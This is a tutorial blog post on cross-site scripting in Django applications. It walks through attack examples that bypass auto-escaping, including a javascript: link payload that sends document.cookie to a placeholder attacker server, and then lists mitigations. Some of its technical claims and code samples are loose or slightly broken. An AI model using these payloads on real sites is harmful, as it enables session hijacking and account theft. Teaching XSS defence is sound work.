Python has become one of the most popular programming languages. One reason why programmers love Python is that they can use it for many use-cases. Among all these use-cases is web development. Django is a free and open-source web development framework that has gained a lot of interest.

When building web applications, security is crucial. Web applications have become a common target for malicious actors, and one of the most common attacks is cross-site scripting (XSS). In this post, let’s look at what XSS is and how XSS attacks work. We’ll then go through what security Django provides and how we can improve it.

An XSS attack is a technique where the attacker injects malicious client-side scripts into the web application

What Is XSS?

XSS is a vulnerability in web applications that allows the execution of illegitimate client-side scripts. And from an attacker’s perspective, an XSS attack is a technique where the attacker injects malicious client-side scripts into the web application. When the user requests the affected page, the malicious script is executed. Malicious actors use XSS for various purposes, including these common occurrences:

Django Security

Unlike most web development frameworks, the developers of the Django framework have considered the security aspects. As a result, Django comes with built-in security features against XSS attacks. XSS attacks happen through injections—injection of scripts that contain HTML tags.

For example, let’s say that a web application takes a username as input and then greets the user using their name. If the input to a field in the web application is Tony, then the response sent to the user would be:

Hello, Tony!

Basically, the application is using the input and adding it to the pre-decided text. Once the application builds this result, it sends the response to the user’s browser where the response is rendered.

The above example might seem harmless. But let’s see how this process could be dangerous. The first rule of web application security is never to trust user input. So, what if instead of giving the username as input, a malicious actor gave a malicious input? If the input was <script>alert(‘XSS’);</script>, the response sent to user would be:

Hello, <script>alert(‘XSS’);</script>

And this code when rendered would display an alert with the text “XSS”. But this injection wouldn’t work in Django, because Django has an automatic HTML escaping feature. This feature converts certain HTML characters into their HTML code as follows:

  • < is converted to &lt;
  • > is converted to &gt;
  • (single quote) is converted to &#x27;
  • (double quote) is converted to &quot;
  • & is converted to &amp;

So, when the above malicious input is given, Django converts the input to &lt;script&gt;alert(XSS);&lt;/script&gt;. And when this is rendered on the browser, it doesn’t execute because it’s not a script anymore. But is this enough to prevent an XSS attack? Of course not.

Django XSS Examples

Django sure provides a layer of security by escaping HTML characters. But malicious actors would already know that. Attackers are getting more creative day by day and come up with ways to get over default security features. So, let’s look at some examples of how XSS attacks can work in Django.

When you give input, Django forcefully encodes it and then escapes dangerous characters.

Base64 Encoding

Django by default uses Unicode and UTF-8 encoding. When you give input, Django forcefully encodes it and then escapes dangerous characters. But this doesn’t work for base64 encoded strings. In the above example, where we saw that some characters are replaced with the HTML code, the input is considered as UTF-8. But if you can change this default, you can bypass escaping.

To do this, you’ll first have to change the data protocol to base64 in the request: 

data:text/html;base64

Then you’ll have to convert your injection to a base64 string. For example, if you encode the string <script>alert(‘XSS Attack’);</script> to base64, it would convert to PHNjcmlwdD5hbGVydCgnWFNTIEF0dGFjaycpOzwvc2NyaXB0Pg==. And this encoded string will be your payload.

Unquoted Payload

Django by default sanitizes quoted data. But if you see the application using unquoted data—for example, JavaScript integers—then the application could be vulnerable to XSS attack.

For example, if the application is asking the user’s age and using a JavaScript integer to store it, there are no quotes involved. Therefore, there’s no security by default. So, a payload like 27 ; payload_function() would be a successful XSS attack. Such cases are observed commonly where widgets, objects, and so on are used.

Let’s say you’re using a widget to collect user information. You can have different fields.

var user = new userWidget();&nbsp;
user.name = {{ username }} ; 
user.age = {{ age }} ;
user.email = {{ emailID }} ;

If this application is using JavaScript integers to store the age, then the age value wouldn’t be quoted. This means that Django’s sanitization won’t apply to it. If the attacker injects payload into the age value, for example, 25 ; <script>alert(‘XSS Attack’);</script>, it could lead to an XSS attack.

Template Literals

Django’s escape function escapes single quotes and double quotes. Wouldn’t it be better if there was something that had the same function as these characters but wasn’t escaped? Well, there is—the backtick (`).

For a browser, ‘Hello World!’ is the same as `Hello World!`

A backtick is a template literal that acts as quotes but isn’t escaped by Django’s escape function. So, you can craft your injection with backticks to bypass escaping.

Let’s say your application takes the location of an image and displays it on the page using the img tag. So, if your input is /Images/cyber.png, then the page would have a tag like:

<img src="/Images/cyber.png"/>

If you try to inject a malicious payload using quotes, say your input is javascript:alert(“XSS”). This input would go through escaping, and we would get:

<img src="javascript:alert(&quot;XSS&quot;)>

The payload fails to execute the script. But we can get through this using template literals. If your input is javascript:alert(`XSS`). Django would not escape the backtick (`). So, we would get:

<img src="javascript:alert(`XSS`)>

And this is a valid payload.

JavaScript Embedded Attributes

In some cases, the web application might let users add a link to the page. For example, a blog page can allow authors to add their Git profile link. When the URL is added, it’s hyperlinked on the page using anchor tags. Now a malicious actor can embed a JavaScript payload in these attributes. And because these payloads aren’t usually escaped, the payload would carry out an XSS attack.

Legit value:

<a href="www.xyz,com">My Profile</a>

Malicious payload:

<a href="javascript:document.location='http://<attacker's remote server>/getcookie.php?cookie='+document.cookie;">My Profile</a>

If this is the payload, when the user clicks on the link, the application collects a cookie from the user’s browser and sends it to the attacker’s remote server. The attacker can then use that cookie to gain access to the user’s account.

Unsafe Use of “Safe”

Django by default escapes data, but it provides a safe filter you can use to disable escaping for particular data. The safe filter is used mostly when data is known to be safe. But unsafe use of this filter could result in XSS vulnerabilities. If a malicious actor finds out that you’ve been tagging a data value as safe, they could inject their malicious script in that data field. And because it’s marked as safe, Django won’t escape it. As a result, when the data with the malicious script is rendered, an XSS attack is performed.

For example, say the value of name is “Tony <script>alert(‘XSS’);</script>“.

When you render this value with default configuration (HTML escaping enabled) using this code:

{{ name }}

The output will be as follows:

Tony &lt;script&gt;alert('XSS');&lt;/script&gt;

But if you mark name as safe:

{{ name | safe }}

Then the output will be:

Tony <script>alert('XSS');</script>

In this case, because the data is marked as safe, it is not escaped. As a result, the payload will be executed.

Django XSS Prevention

We’ve seen how malicious actors can get around Django’s default security to execute an XSS attack. And the above should be more than enough to understand that we need more security. So here are a few measures you can take to increase security.

Safe Filter

Misuse of the safe filter can be dangerous, as depicted in the example above. Hence, it’s very important to be smart and careful in using it. Don’t use this filter if it’s not necessary. If the application is developed, find all the instances of this filter. You can then evaluate if it’s really necessary. If it’s necessary, then analyze its impact on security and implement additional measures.

Input Sanitization

The first rule of web application security is to never trust user input. There are infinite possible user inputs, and obviously, not all are safe. Unsafe inputs from users could be intentional or unintentional. Irrespective of the intent, they’re still dangerous. You need to sanitize all user input to eliminate risks. Input sanitization is a method of making the input safe for use in or by the web application.

Django by default uses HTML escaping. You can extend this to JavaScript as well using Python libraries. JavaScript escaping escapes special characters except @*_+-./. It also encodes blank spaces to its equivalent code. This would make more payloads useless.

Example:

import urlliba = 'Example for escaping.php?name=<script>alert("XSS")</script>'
print(urllib.parse.quote(a))

Output:

Example%20for%20escaping.php%3Fname%3D%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E

HttpOnly

Web applications use the HttpOnly flag to restrict the access of cookies from the client-side script. If the HttpOnly flag is enabled, access to the cookie is restricted to the server alone. By using the HttpOnly flag, you can eliminate the risk of an attacker obtaining cookie information using XSS attacks.

You can enable this feature in Django by adding the following line in settings.py file of your Django project:

SESSION_COOKIE_HTTPONLY = True

Django has certain security features, not just for XSS but also for other risks.

The Bottom Line

Django is great if you want to build web applications faster, but you shouldn’t neglect security in your haste. Django has certain security features, not just for XSS but also for other risks. XSS is a dangerous attack that has catastrophic results. Hence, it’s one of the most crucial attacks you need to protect your application against. The above-mentioned mitigation techniques are just the tip of the iceberg. To have the best security for your application, you need regular tests, analysis, and security fixes.

This post was written by Omkar Hiremath. Omkar is a cybersecurity analyst who is enthusiastic about cybersecurity, ethical hacking, data science, and Python. He’s a part time bug bounty hunter and is keenly interested in vulnerability and malware analysis.